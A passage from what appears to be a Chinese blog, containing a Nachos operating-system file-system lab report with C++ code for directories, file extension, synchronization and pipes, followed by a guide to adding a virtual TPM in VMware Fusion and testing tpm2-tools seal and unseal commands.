(!directory->Add(name, sector, fileType)) success = FALSE; // no space in directory else { hdr = new FileHeader; if (!hdr->Allocate(freeMap, initialSize)) success = FALSE; // no space on disk for data else { success = TRUE; hdr->setParDirHeaderSector(dirSector); // everthing worked, flush all changes back to disk hdr->WriteBack(sector); directory->WriteBack(dirFile); freeMap->WriteBack(freeMapFile); if (fileType == F_DIRECTORY) { // 对于目录文件,需要额外的创建一个Directory对象并将其写回磁盘 OpenFile *newDirFile = new OpenFile(sector); Directory *newDir = new Directory(NumDirEntries); newDir->WriteBack(newDirFile); delete newDirFile; delete newDir; } } delete hdr; } if (success) return sector; return -1;} 由于出现了目录文件,因此在目录中新增一个函数CheckDir用于检查某一文件是否为目录文件。 12345678910/* * code/filesys/directory.cc */bool Directory::CheckDir(char *name) { int i = FindIndex(name); if (i != -1) return table[i].fileType == F_DIRECTORY; return FALSE;} 接着在文件系统中实现目标目录查找函数FileSystem::FindTargetDir,该函数用于从路径中检索出文件最终被放置的文件夹。例如,路径为”/root/123/aaa/A”,文件为”A”,则该函数会返回文件夹”aaa”的文件头所处的磁盘块号。同时该函数也支持创建不存在文件夹。如果crt的值为TRUE,且文件夹”123”不存在,则该函数会同时创建文件夹”123”和”aaa”,并最终返回”aaa”的文件头所处的磁盘块号。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758/* * code/filesys/filesys.cc */int FileSystem::FindTargetDir(char **paths, int nums, bool crt) { ASSERT(nums > 0); if (nums == 1) { return DirectorySector; } else { int sector = DirectorySector; OpenFile * openFile; Directory * directory; BitMap * freeMap; freeMap = new BitMap(NumSectors); freeMap->FetchFrom(freeMapFile); // 最后一个变量是文件名,因此需要nums - 1 for (int i = 0; i < nums - 1; i++) { if (sector == DirectorySector) { // 此时位于根目录 openFile = directoryFile; } else { // 位于某个子目录 openFile = new OpenFile(sector); } directory = new Directory(NumDirEntries); directory->FetchFrom(openFile); int nextSector = directory->Find(paths[i]); if (nextSector == -1) { // 此时不存在 if (crt) { // 需要创建 nextSector = _create(freeMap, directory, sector, openFile, paths[i], F_DIRECTORY, DirectoryFileSize); if (nextSector == -1) { return -1; // 创建失败 } } else { // 不需要创建 return -1; } } ASSERT(directory->CheckDir(paths[i])); // 确保这是一个文件夹 sector = nextSector; if (openFile != directoryFile) { delete openFile; } delete directory; } delete freeMap; return sector; }} 此时准备工作完成,开始修改文件系统中的文件操作代码,以适应绝对路径。 首先修改FileSystem::Create方法。该方法没有做特别多的变动,主要就是将原先直接在根目录上创建文件,修改为通过FindTargetDir先找到文件的父目录,然后在该目录内创建文件。然后FileSystem::Open和FileSystem::Remove也做类似的修改,即先找到最终的目录,然后在对文件做相应操作,具体实现这里就不再赘述。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556/* * code/filesys/filesys.cc */boolFileSystem::Create(char *name, int initialSize){ OpenFile * openFile; Directory *directory; BitMap *freeMap; int sector; bool success; DEBUG('f', "Creating file %s, size %d\\n", name, initialSize); // 解析绝对路径name int pathsNums = 0; char ** paths = PathParse(name, &pathsNums); // 获取最终的文件夹磁盘块号 // 由于是创建,所以允许创建路径上的文件夹 sector = FindTargetDir(paths, pathsNums, TRUE); if (sector == -1) { success = FALSE; } else { if (sector == DirectorySector) { openFile = directoryFile; } else { openFile = new OpenFile(sector); } directory = new Directory(NumDirEntries); directory->FetchFrom(openFile); if (directory->Find(paths[pathsNums - 1]) != -1) success = FALSE; // file is already in directory else { freeMap = new BitMap(NumSectors); freeMap->FetchFrom(freeMapFile); if (_create(freeMap, directory, sector, openFile, paths[pathsNums - 1], F_NORMAL, initialSize) != -1) { success = TRUE; } else { success = FALSE; } delete freeMap; } } for (int i = 0; i < pathsNums; i++) { delete[] (paths[i]); } delete[] paths; if (openFile != directoryFile) delete openFile; delete directory; return success;} 测试修改测试函数PerformanceTest,分别对文件系统的进行文件的创建操作、对多级目录下的文件进行读写操作、和对这些文件的移除操作。 测试结果如下:其测试中分别创建了”/123”,”/usr/A”,”/usr/aaa/C”,”/usr/aaa/B”四个文件;然后对文件”/usr/aaa/B”进行读写操作测试;接着列出各个文件夹下的文件,其中首部的数字”0”代表普通文件、”1”代表目录文件;最后将这些文件进行移除。 1234567891011121314151617181920212223242526272829303132root@02487b68b87e:/nachos/nachos-3.4/code/filesys# ./nachos -f -tStarting file system performance test:Perf test: create /123Perf test: create /usr/APerf test: create /usr/aaa/CPerf test: create /usr/aaa/BSequential write of 100 byte file, in 10 byte chunksSequential read of 100 byte file, in 10 byte chunksList Directory => / 0 123 1 usr List Directory => /usr 0 A 1 aaa List Directory => /usr/aaa 0 C 0 B Perf test: remove /usr/aaa/BPerf test: remove /123Perf test: remove /usr/APerf test: remove /usr/aaa/CNo threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 775540, idle 764500, system 11040, user 0Disk I/O: reads 138, writes 55Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Exercise 5 动态调整文件长度 对文件的创建操作和写入操作进行适当修改,以使其符合实习要求。 思路动态调整文件长度也就意味着,在对文件进行内容写入时,如果剩余空间不足,则动态申请新的磁盘块来存储写入的数据。 实现首先为了满足要求,实现一个动态申请空间的函数Extend,该函数的实现方式与FileHeader::Allocate类似。但由于是申请额外的空间,需要做很多处理,如继续之前的情况分配直接索引块,或是继续分配一张一级索引表中未使用的空间。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071/* * code/filesys/filehdr.cc */bool FileHeader::Extend(BitMap *freeMap, int Size) { if (numBytes + Size > MaxFileSize) return FALSE; // 计算还需多少个磁盘块 int totalSectors = divRoundUp(Size + numBytes, SectorSize); // 先处理直接索引 if (totalSectors <= NumDirect) { if (freeMap->NumClear() < totalSectors - numSectors) return FALSE; // not enough space for (int i = numSectors; i < totalSectors; i++) { dataSectors[i] = freeMap->Find(); } } else { int restNeed = totalSectors - NumDirect; // 计算共需要多少个一级索引 int numSectors_LV1 = divRoundUp(restNeed, NumTableEntry); // 一级索引表也需要占用磁盘块,因此还需要考虑索引表能否存储的下 int add_on = totalSectors - numSectors; if (numSectors > NumDirect) { add_on += numSectors_LV1 - divRoundUp(numSectors - NumDirect, NumTableEntry); } if (freeMap->NumClear() < add_on) return FALSE; // 直接索引分配,如果原先大小已经使用了一级索引,则该循环无法执行 for (; numSectors < NumDirect; numSectors++) dataSectors[numSectors] = freeMap->Find(); // 分别代表开始写入的一级索引表内部偏移,以及位于哪张索引表 int innerOffset_LV1 = (numSectors - NumDirect) % NumTableEntry; int Offset_LV1 = (numSectors - NumDirect) / NumTableEntry; // 一级索引分配 if (innerOffset_LV1 > 0) { IndexTable * indexTable = new IndexTable; // 内部偏移大于0,意味着最后一张一级索引表还未填写完 indexTable->FetchFrom(dataSectors_LV1[Offset_LV1]); for (int j = innerOffset_LV1; j < NumTableEntry && (Offset_LV1 * NumTableEntry + j) < restNeed; j++) { indexTable->dataSectors[j] = freeMap->Find(); } // 将索引表写回磁盘 indexTable->WriteBack(dataSectors_LV1[Offset_LV1]); delete indexTable; } for (int i = Offset_LV1 + 1; i < numSectors_LV1; i++) { dataSectors_LV1[i] = freeMap->Find(); IndexTable * indexTable = new IndexTable; // i * NumTableEntry + j代表已在一级索引表中记录的磁盘块总数 for (int j = 0; j < NumTableEntry && (i * NumTableEntry + j) < restNeed; j++) { indexTable->dataSectors[j] = freeMap->Find(); } // 将索引表写回磁盘 indexTable->WriteBack(dataSectors_LV1[i]); delete indexTable; } } numBytes += Size; numSectors = totalSectors; return TRUE;} 另外,由于申请空间需要调用freeMap,而该位图文件是文件系统的私有成员,因此还应当在FileSystem中实现一个拓展的封装。 由于考虑到该函数是被OpenFile调用,而OpenFile内部维护一个文件头指针FileHeader * hdr,考虑到需要使两者数据一致,因此OpenFile调用完该函数之后,需要重新将磁盘上的文件头读取到内存中。 因为仅传入一个磁盘块号,那么对该文件头的改动仅会影响磁盘上的数据,而已经读入内存的数据不会发生变化。 1234567891011121314151617181920/* * code/filesys/filesys.cc */bool FileSystem::FileExtend(int sector, int Size) { BitMap *freeMap; FileHeader *hdr; freeMap = new BitMap(NumSectors); freeMap->FetchFrom(freeMapFile); hdr = new FileHeader; hdr->FetchFrom(sector); hdr->Extend(freeMap, Size); hdr->WriteBack(sector); freeMap->WriteBack(freeMapFile); delete freeMap; delete hdr;} 因此为了方便文件头的重读取或者写回,在OpenFile中额外维护一个文件头磁盘块号hdrSector。 123456789101112131415161718/* * code/filesys/openfile.h */class OpenFile {... private:... int hdrSector; // Header所处的磁盘块};/* * code/filesys/openfile.cc */OpenFile::OpenFile(int sector){ ... hdrSector = sector;} 文件创建操作可以不做修改,因为FileHeader::Allocate函数可以通过传入参数fileSize为0,而使得文件在创建时仅有FileHeader而不包含任何已分配的数据块。 再看文件写操作,有两个OpenFile::Write和OpenFile::WriteAt。查看代码可知OpenFile::Write是对OpenFile::WriteAt的一个封装,因此动态申请调用发生在OpenFile::WriteAt中。 这里主要做了两处改动: 由于支持了动态拓展,那么也就允许在文件末尾后一个字节开始写入,即允许position == fileLength 对于写入字节长度超出文件大小时,调用拓展函数申请新的空间。但如果申请失败,则按照原有规则处理。 1234567891011121314151617181920212223/* * code/filesys/openfile.cc */intOpenFile::WriteAt(char *from, int numBytes, int position){... if ((numBytes <= 0) || (position > fileLength)) return 0; // check request if ((position + numBytes) > fileLength) { int need = position + numBytes - fileLength; if (fileSystem->FileExtend(hdrSector, need)) { // 额外空间申请成功,更新文件头 hdr->FetchFrom(hdrSector); printf("Extend %d Bytes Success!\\n", need); } else if (position == fileLength) { return 0; } else { numBytes = fileLength - position; } }...} 测试由于实现了文件的动态拓展,因此在测试时将文件的初始大小设为0。 123456789101112/* * code/filesys/fstest.cc */#define FileSize ((int)(ContentSize * 10))static void FileWrite(){... if (!fileSystem->Create(FileName, 0)) {...} 测试结果如下: 1234567891011121314151617181920212223242526272829303132333435root@02487b68b87e:/nachos/nachos-3.4/code/filesys# ./nachos -f -tStarting file system performance test:Ticks: total 82530, idle 82090, system 440, user 0Disk I/O: reads 3, writes 5Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Sequential write of 100 byte file, in 10 byte chunksExtend 10 Bytes Success!Extend 10 Bytes Success!Extend 10 Bytes Success!Extend 10 Bytes Success!Extend 10 Bytes Success!Extend 10 Bytes Success!Extend 10 Bytes Success!Extend 10 Bytes Success!Extend 10 Bytes Success!Extend 10 Bytes Success!Sequential read of 100 byte file, in 10 byte chunksTicks: total 514530, idle 508340, system 6190, user 0Disk I/O: reads 68, writes 42Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 514540, idle 508350, system 6190, user 0Disk I/O: reads 68, writes 42Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... 文件访问的同步与互斥Exercise 6 源代码阅读 阅读Nachos源代码中与异步磁盘相关的代码,理解Nachos系统中异步访问模拟磁盘的工作原理。filesys/synchdisk.h和filesys/synchdisk.cc 利用异步访问模拟磁盘的工作原理,在Class Console的基础上,实现Class SynchConsole。 源码阅读filesys/synchdisk.h和filesys/synchdisk.cc:同步磁盘的实现本身比较简单,即在Disk类的基础之上添加了同步机制。SynchDisk类中共利用了两种同步机制,锁和信号量。锁的作用主要是保护读写请求的原子性(即保证每次仅有一个线程在进行磁盘I/O)。而信号量则主要用在中断处理中,用于保证中断的同步(即确保磁盘一次仅处理一个操作)。 SynchConsole思路首先简单分析一个Console的实现。Console是一个终端I/O的模拟类,它由读写文件类模拟输入和输出。它的操作也主要为PutChar、GetChar、WriteDone。因此参考SynchDisk的方式实现SynchConsole的思路就是读写部分操作的互斥以及中断的互斥。 SynchConsole实现首先在*code/machine/*目录下创建两个文件,分别是synchconsole.h和synchconsole.cc 为了使创建的文件生效,需要修改code/Makefile.common文件,改动部分如下图所示。考虑到仅有用户程序需要用到Console,因此仅将其加入到USERPROG中。 class Synchconsole主要满足的策略是读和读的互斥,以及写与写的互斥。由于Console的读写分别对应的是不同的文件,因此重要的是保护模拟输入的文件的互斥,以及模拟输出的文件的互斥。 大致实现上与SynchDisk没有什么区别。重要的实现部分如下,需要注意的是对于读而言是先确保可读再进行读操作,因此先对进行P操作再执行Getchar。 12345678910111213141516/* * code/machine/synchconsole.cc */void SynchConsole::PutChar(char ch) { writeLock->Acquire(); console->PutChar(ch); writeDone->P(); writeLock->Release();}void SynchConsole::GetChar() { readLock->Acquire(); readAvail->P(); console->GetChar(); readLock->Release();} Exercise 7 实现文件系统的同步互斥访问机制,达到如下效果 一个文件可以同时被多个线程访问。且每个线程独自打开文件,独自拥有一个当前文件访问位置,彼此间不会互相干扰。 所有对文件系统的操作必须是原子操作和序列化的。例如,当一个线程正在修改一个文件,而另一个线程正在读取该文件的内容时,读线程要么读出修改过的文件,要么读出原来的文件,不存在不可预计的中间状态。 当某一线程欲删除一个文件,而另外一些线程正在访问该文件时,需保证所有线程关闭了这个文件,该文件才被删除。也就是说,只要还有一个线程打开了这个文件,该文件就不能真正地被删除。 思路 这一点的实现可以通过不同线程各自创建一个OpenFile对象来处理。即每个线程都拥有基于同一磁盘块号创建的OpenFIie对象,那么它们各自内部都维护了互不干扰的访问位置。这一点由文件系统的Open操作来保证。 这一个要求的主要是为了避免,有线程正在对文件写时,另一个程序执行读,但是由于其不知道有程序正在写而导致读出来的数据可能是部分被修改的。因此要保证的就是要么读取修改结束后的,要么读取修改开始前的,而不是读取正在被修改的。 对文件实现一个全局的引用计数,每当有新的线程访问该文件,就对该文件的引用计数+1,而线程访问结束的时候就将该值-1。如果有线程尝试删除文件,则会根据引用计数的值是否为0来判断文件能否被立即删除。 实现对于第1点,检查文件系统的Open操作的实现,可以发现,每次打开文件会先进行new OpenFile(sector)操作,再将新创建好的OpenFile对象返回。因此不需要做额外的改动。 对于第2点,为了保证某个磁盘块正在被写的时候不会被读,考虑在SynchDisk中,维护一个信号量数组sectorSemaphore,该数组用于确保每个磁盘块的读写互斥。并提供如下操作,允许对某个磁盘块进行P操作或者V操作。 12345678910/* * code/filesys/synchdisk.cc */void SynchDisk::PSector(int sector) { sectorSemaphore[sector]->P();}void SynchDisk::VSevtor(int sector) { sectorSemaphore[sector]->V();} 然后对文件的读写操作进行修改。在读或写之前先获取文件头磁盘块的访问权,然后更新文件头,操作结束之后,先将可能有改动的文件头写回,再释放该磁盘块的访问。之所以仅对文件头的磁盘块做互斥访问限制,主要是为了简便。这样只有先拿到文件头的访问权,才能对数据作修改。写操作可能会修改文件头数据索引,而读之前也要考虑是否要更新,文件头的更新操作是必要的。因此也就没必要再单独对读写访问的各个磁盘块上锁。 1234567891011121314151617181920212223242526272829303132333435363738394041/* * code/filesys/openfile.cc */intOpenFile::ReadAt(char *into, int numBytes, int position){ // 读之前先更新文件头 synchDisk->PSector(hdrSector); hdr->FetchFrom(hdrSector);... // 读完之后写回一次文件头 hdr->WriteBack(hdrSector); synchDisk->VSector(hdrSector);...}intOpenFile::WriteAt(char *from, int numBytes, int position){ // 写之前先更新文件头 synchDisk->PSector(hdrSector); hdr->FetchFrom(hdrSector);... if (!firstAligned) { synchDisk->VSector(hdrSector); ReadAt(buf, SectorSize, firstSector * SectorSize); synchDisk->PSector(hdrSector); } if (!lastAligned && ((firstSector != lastSector) || firstAligned)) { synchDisk->VSector(hdrSector); ReadAt(&buf[(lastSector - firstSector) * SectorSize], SectorSize, lastSector * SectorSize); synchDisk->PSector(hdrSector); }... // 写完之后写回一次文件头 hdr->WriteBack(hdrSector); synchDisk->VSector(hdrSector);...} 对于第3点,由于文件系统的Remove操作,最终会调用目录中的Remove方法,来实现文件的删除。因此文件引用计数则放置在目录项中,如果要对文件进行删除,则需要判断引用计数是否为0;如果引用计数不为0,则删除失败。 将引用计数放在目录项中,作为文件的一个属性。然后新增根据文件头的磁盘块号对文件计数+1以及计数-1的操作。同时目录类还支持检查文件的引用计数是否为0的CheckRefClear操作。 123456789101112131415161718192021222324252627282930313233343536373839404142/* * code/filesys/directory.h */class DirectoryEntry { public:... int refCount;};/* * code/filesys/directory.cc */boolDirectory::Add(char *name, int newSector, FileType fileType) {... table[i].refCount = 0;...}void Directory::PlusRef(int sector) { for (int i = 0; i < tableSize; i++) { if (table[i].inUse && table[i].sector == sector) { table[i].refCount++; } }}void Directory::NegaRef(int sector) { for (int i = 0; i < tableSize; i++) { if (table[i].inUse && table[i].sector == sector) { table[i].refCount--; } }}bool Directory::CheckRefClear(int sector) { for (int i = 0; i < tableSize; i++) { if (table[i].inUse && table[i].sector == sector) { return table[i].refCount == 0; } }} 将引用计数的修改操作,在文件系统中做一个该接口的封装,方便OpenFile使用。 12345678910/* * code/filesys/directory.cc */class FileSystem { public: ... void PlusRef(int sector, int parSector); void NegaRef(int sector, int parSector);...}; 然后修改OpenFile类的构造函数以及析构函数,这样当文件被打开时,会增加引用计数,而当文件被关闭时会减少引用计数。 123456789101112131415/* * code/filesys/openfile.cc */OpenFile::OpenFile(int sector){ ... fileSystem->PlusRef(sector, hdr->getParDirHeaderSector());...}OpenFile::~OpenFile(){ fileSystem->NegaRef(hdrSector, hdr->getParDirHeaderSector()); delete hdr;} 最后修改文件系统的Remove方法,当文件不存在或者引用计数不为0时,文件删除失败。 1234567/* * code/filesys/filesys.cc */if (sector == -1 || !directory->CheckRefClear(sector)) {... return FALSE;} 测试为了方便测试,在OpenFile中新增一个getPos方法,来查看文件的seekPosition的值。 首先测试第1点,两个线程同时读文件,结果如下。可以看到两个线程同时读取同一个文件,各自维护了一个文件位置标志。 然后测试第2点,可以看到读写交替进行。 最后测试第3点,当文件正在写的时候,文件删除失败了;直到写结束的时候,再尝试删除,则成功。 Challenges题目Challenge 1 性能优化 例如,为了优化寻道时间和旋转延迟时间,可以将同一文件的数据块放置在磁盘同一磁道上 使用cache机制减少磁盘访问次数,例如延迟写和预读取。 思路实现Challenge 2 实现pipe机制 重定向openfile的输入输出方式,使得前一进程从控制台读入数据并输出至管道,后一进程从管道读入数据并输出至控制台。 实现在文件系统中新增两个宏,用于标示pipe文件的固定磁盘位置,以及其最大文件大小。并在文件系统的构造函数中对其初始化,pipe文件的初始值为0。仅维护pipe文件的文件头磁盘块,而具体文件则不在文件系统中维护。 12#define PipeSector 2#define PipeFileSize 0 然后在OpenFile类中新增一个功能ReadAll用于一次性读取文件的所有字节。 12345678/* * code/filesys/openfile.cc */int OpenFile::ReadAll(char *into) { int result = ReadAt(into, hdr->FileLength(), seekPosition); seekPosition += result; return result;} 根据之前的设计,Pipe文件的大小会动态增涨。因此分别实现Pipe文件的读写操作函数。对于读操作,不仅会一次性读取Pipe中的所有字节,而且会清空Pipe,即读完之后Pipe的大小为0。对于写操作,由于支持动态增长,以及读写操作都会更新文件头,因此仅需要调用Write方法即可。 123456789101112131415161718192021222324252627/* * code/filesys/filesys.cc */int FileSystem::ReadPipe(char *data) { OpenFile* openFile = new OpenFile(PipeSector); int result = openFile->ReadAll(data); BitMap *freeMap = new BitMap(NumSectors); freeMap->FetchFrom(freeMapFile); FileHeader *pipeHdr = new FileHeader; pipeHdr->FetchFrom(PipeSector); pipeHdr->Deallocate(freeMap); pipeHdr->Allocate(freeMap, 0); pipeHdr->WriteBack(PipeSector); freeMap->WriteBack(freeMapFile); return result;}int FileSystem::WritePipe(char *data) { OpenFile* openFile = new OpenFile(PipeSector); int result = openFile->Write(data, strlen(data)); return result;} 测试设计测试函数如下: 123456789101112131415void PipeInTest() { printf("Thread 1 put data in pipe\\n"); char in[FileSize + 1]; printf("Input: "); scanf("%s", in); fileSystem->WritePipe(in);}void PipeOutTest() { printf("Thread 2 get data from pipe\\n"); char out[FileSize + 1]; fileSystem->ReadPipe(out); prinft("Output: %s", out);} 分别调用执行,结果如下: 遇到的困难困难1 测试文件系统出现Segment Fault尽管未对文件系统做任何修改,但是不论怎么执行都会得到Segment Fault的错误。使用命令nachos -d查看调试信息得知,程序执行到创建交换空间(或虚拟内存)文件时出现的错误,可以得知正是该文件的存在引发的错误。进一步调查发现,在code/userprog/Makefile中启用了FILESYS_STUB宏,该宏定义的作用是将Nachos的文件系统实现为本地Unix文件系统的封装,也就是说在实现用户线程的时候调用的文件系统是基于本地Unix的。然而在文件系统的code/filesys/Makefile文件中,并未启用FILESYS_STUB宏,这也就意味着此处使用的Nachos内部实现的文件系统,存在一个与Unix文件系统差异的点使得错误的发生。 最后调查发现了真正的问题所在。根据code/threads/system.cc中的Initialize函数得知,machine初始化,在“REAL”文件系统fileSystem之前。 同时交换分区VirtualMemory是在Machine中初始化的,所以导致首次使用的时候,文件系统还是未格式化,却在Machine中尝试去创建文件了。 1234567891011121314/* * code/machine/machine.cc */Machine::Machine(bool debug){...#ifdef SWAPING swapBitMap = new BitMap(NumPhysPages * 2); fileSystem->Create("VirtualMemory", MemorySize * 2); swapFile = fileSystem->Open("VirtualMemory");#endif...} 解决办法:修改交换分区VirtualMemory的初始化位置,将其放在文件系统中初始化。 为了避免大量修改代码,交换分区仍放在Machine类中,但是将其初始化的部分取出封装成一个函数 12345void Machine::CreateSwap() { swapBitMap = new BitMap(NumPhysPages * 2); fileSystem->Create("VirtualMemory", MemorySize * 2); swapFile = fileSystem->Open("VirtualMemory");} 然后将其放在文件系统之后被初始化。 困难2 文件系统测试函数无法执行传入nachos中与文件系统相关的参数,不会执行。尽管使用了-t参数去调用PerformanceTest测试函数,但是真正执行的却是ThreadTest测试函数。 经过阅读code/threads/main.cc可以发现如果定义了THREADS宏,则线程测试函数会先读走一个命令行参数,处理完线程测试函数之后,才会继续执行后续的用户线程、文件系统以及网络的测试。然后再进一步查看code/filesys/Makefile文件,可以发现文件系统启用了THREADS宏。 1DEFINES = -DTHREADS -DUSER_PROGRAM -DVM -DFILESYS_NEEDED -DFILESYS 另外,经过对THREADS宏的作用进行调查,发现该宏定义与否不涉及线程功能的实现。大部分的宏的用于在Nachos中启用某个功能,如USER_PROGRAM、USE_TLB等;而THREADS则仅用于在main.cc文件中启用线程测试。 解决办法:将code/filesys/Makefile中的THREADS宏删去。因为对Makefile文件进行了改动,因此需要先删除之前编译好的object文件(.o文件)然后重新编译。 参考文献[1] 百度文库. Nachos文件系统实习报告[EB/OL]. https://wenku.baidu.com/view/cb066179941ea76e59fa0485.html?re=view [2] 百度文库. nachos Lab5实习报告[EB/OL]. https://wenku.baidu.com/view/04382358f6ec4afe04a1b0717fd5360cbb1a8d40.html?re=view","link":"/2020/12/26/Nachos-Lab04-%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F/"},{"title":"Vmware Fusion TPM安装过程","text":"安装环境 虚拟机软件:Vmware Fusion版本–11.5.6 系统镜像:Ubuntu-20.04.1-desktop-amd64 安装过程首先需要准备一个虚拟机,这里省略虚拟机的安装过程。安装好后进入虚拟机设置界面。 这里特别说明,Vmware安装TPM芯片必须要使用UEFI作为启动固件,而不能使用传统的BIOS固件。所以选择高级(Advanced) - 固件类型(Firmware type) - UEFI。 然后再将TPM芯片所需的磁盘加密启用。选择“Encryption & Restrictions”,选中启用加密,接着输入加密所需的口令,最后等待加密完成。 此时已经完成了TPM安装所需的前置条件,可以在添加设备中选择添加TPM(Trusted Platform Module)芯片。即可看到,目前TPM芯片已经成功添加到虚拟机中,启动虚拟机可使用。 开机测试首先使用命令dmesg | grep -i tpm ,查看当前虚拟机内使用的TPM版本。可以看到我的虚拟机使用的TPM芯片版本是2.0。因此使用诸如trousers、tpm-tools之类的工具会发生错误,这些工具仅支持TPM 1.2。 Intel 实现对于TPM2.0则需要安装其支持的一些工具。tpm2-software项目共包含四个项目: tpm2-tools:为用户提供使用TPM资源的相关命令 tpm2-tss:这一个项目TPM 协议栈部分,一共分为两层,一为上层开发者提供和封装统一的调用接口,二为上层提供了访问底层硬件资源接口 tpm2-abrmd:tm2-abrmd是一个后台进程,主要做TPM硬件资源管理.比如:当我们上层应用加载key的时候,不需要关心,TPM中是否还有空闲的key slot,因为tpm2-abrmd后台进程会帮助我们做,如果TPM中key slot不够用,那么就会把不用key交换出来,然后供当前访问的进程使用 tpm2-tss-engine:这个是一个加密相关的engine,需要配合openssl使用 各组件相关关系如下: 注意:tss2和tpm2-tools无关。 tss2是ibm实现,其软件仓库为https://sourceforge.net/projects/ibmtpm20tss/。 而tpm2-tools是intel实现,其软件仓库为https://github.com/tpm2-software/tpm2-tools。 tpm2-tools所对应的tpm2-tss的软件仓库为https://gitub.com/tpm2-software/tpm2-tss。 tpm2-tools相关命令如下: tss2不仅包含TCG软件栈,也包含相关的工具如下: 注:如果不像完整软件栈,仅想体验用户态工具tpm2-tools的一些功能,那么在Ubuntu中直接使用apt install tpm2-tools安装即可使用。 首先安装tpm2-tss。具体安装步骤参见https://github.com/tpm2-software/tpm2-tss/blob/master/INSTALL.md。 然后安装tpm2-tss-engine(openssl相关的引擎)。具体安装步骤参见https://github.com/tpm2-software/tpm2-tss-engine/blob/master/INSTALL.md。 使用命令openssl engine -t -c tpm2tss确认安装。 然后测试产生16进制随机数 接着安装tpm2-abrmd。具体安装步骤见https://github.com/tpm2-software/tpm2-abrmd/blob/master/INSTALL.md,以及博客https://blog.csdn.net/jianming21/article/details/108035041#tpm2abmrd_120。 如果出现如下错误提示,需要安装glib依赖apt install libglib2.0-dev。 123configure: error: Package requirements (gio-unix-2.0) were not met:No package 'gio-unix-2.0' found 另外,为了保证服务正确启动,向configure提供以下参数。tpm2-abrmd.service默认会安装在/usr/local/lib/systemd/system。 1./configure --with-dbuspolicydir=/etc/dbus-1/system.d --with-systemdsystemunitdir=/lib/systemd/system 最后是tpm2-tools的安装。具体步骤见https://github.com/tpm2-software/tpm2-tools/blob/master/doc/INSTALL.md。 至此TPM芯片以及相关工具的安装已经完成,下文将简述一些tpm2-tools的功能测试。如果需要进一步了解TPM2.0的远程证明,参考官方教程Remote Attestation With Tpm2 Tools。 pcrread测试工具安装完成后,使用tpm2_pcrread sha1:0,1,2+sha256:0,1,2命令来查看0、1、2号PCR在sha1和sha256下的值。 seal测试1. 1tpm2_createprimary -c primary.ctx 用该命令来创建一个主对象保存到文件primary.ctx中,该主对象的默认层级为TPM_RH_OWNER。 2. 1tpm2_pcrread -o pcr.bin sha256:0,1,2,3 读取sha256 bank下的0-3四个PCR寄存器的值,并保存到pcr.bin文件中。 3. 1tpm2_createpolicy --policy-pcr -l sha256:0,1,2,3 -f pcr.bin -L pcr.policy 基于跨多个bank的多PCR索引值,创建简单的断言授权策略。 4. 1echo 'secret' | tpm2_create -C primary.ctx -L pcr.policy -i- -u seal.pub -r seal.priv -c seal.ctx 使用tpm2_create创建一个key或sealing的子对象。此外,sealing对象允许seal最大128字节的用户数据到tpm。这条命令的作用就是利用echo将用户数据输出到stdin,然后通过tpm2_create的-i参数指定seal的输入为-(代表stdin)。 此时可能会出现如下错误。这个错误发生的原因是,某些TPM不支持CreateLoaded命令。在tpm2-tools中实现的tpm2_create命令中-c参数调用CreateLoaded,因此出现了问题。该问题的相关信息可以参考tpm2_unseal #2181。 1234WARNING:esys:src/tss2-esys/api/Esys_CreateLoaded.c:359:Esys_CreateLoaded_Finish() Received TPM Error ERROR:esys:src/tss2-esys/api/Esys_CreateLoaded.c:129:Esys_CreateLoaded() Esys Finish ErrorCode (0x000b0143) ERROR: Esys_CreateLoaded(0xB0143) - rmt:error(2.0): command code not supportedERROR: Unable to run tpm2_create 可以使用tpm2_getcap commands | grep TPM2\\_CC\\_Create 命令来检查TPM是否支持。(注:getcap命令所查询的是TPM芯片所支持的命令,而非Linux终端中使用的用户命令) 如上图输出所示,本机的TPM支持的Create相关的命令仅有TPM2_CC_CreatePrimary和TPM2_CC_Create。 处理方式:使用create和load两个命令来模拟createloaded命令。借助create创建公私钥,再用load加载并输出子对象的上下文。 12echo 'secret' | tpm2_create -C primary.ctx -L pcr.policy -i- -u seal.pub -r seal.privtpm2_load -C primary.ctx -u seal.pub -r seal.priv -c seal.ctx 5. 1tpm2_unseal -c seal.ctx -p pcr:sha256:0,1,2,3 调用该命令解封数据,得到了之前seal的用户数据“secret”。 如果使用了错误或者发生了变化的PCR寄存器,则会出现如下错误: 重启计算机,再次执行步骤5,确认seal的数据是否丢失。 这里发生了错误。该seal-unseal重启后产生的问题,在网上有较多的讨论,可以参见参考资料[10]。 12345WARNING:esys:src/tss2-esys/api/Esys_ContextLoad.c:279:Esys_ContextLoad_Finish() Received TPM Error ERROR:esys:src/tss2-esys/api/Esys_ContextLoad.c:93:Esys_ContextLoad() Esys Finish ErrorCode (0x000001df) ERROR: Esys_ContextLoad(0x1DF) - tpm:parameter(1):integrity check failedERROR: Invalid item handle authorizationERROR: Unable to run tpm2_unseal 处理方式:使用createprimary创建的primary对象是临时的,因此在unseal之前需要重建primary对象,并将其加载到TPM芯片中。之后再调用unseal成功获取了的用户数据。 123tpm2_createprimary -c primary.ctxtpm2_load -C primary.ctx -u seal.pub -r seal.priv -c seal.ctxtpm2_unseal -c seal.ctx -p pcr:sha256:0,1,2,3 IBM 实现(可选)IBM实现是基于软件TPM的,它共包含三个部分:ibmswtpm2、ibmtpm20tss和ibmtpm20acs。此外它还需要安装一个Openssl的引擎openssl_tpm2_engine。 ibmtpm20tss需要ibmswtpm2的存在,其tss提供的工具均需要通过一个2321端口(ibm软件TPM守护进程的默认端口)来访问信息。 (未测试) 参考资料[1] TPM2 Linux社区教程 [2] Create a Virtual Trusted Platform Module Device [3] tpm2.0-tools命令变化日志 [4] tpm2.0-tools命令查询 [5] https://www.mankier.com/1/tpm2_unseal [6] https://www.mankier.com/1/tpm2_createprimary [7] https://www.mankier.com/1/tpm2_createpolicy [8] https://www.mankier.com/1/tpm2_load [9] 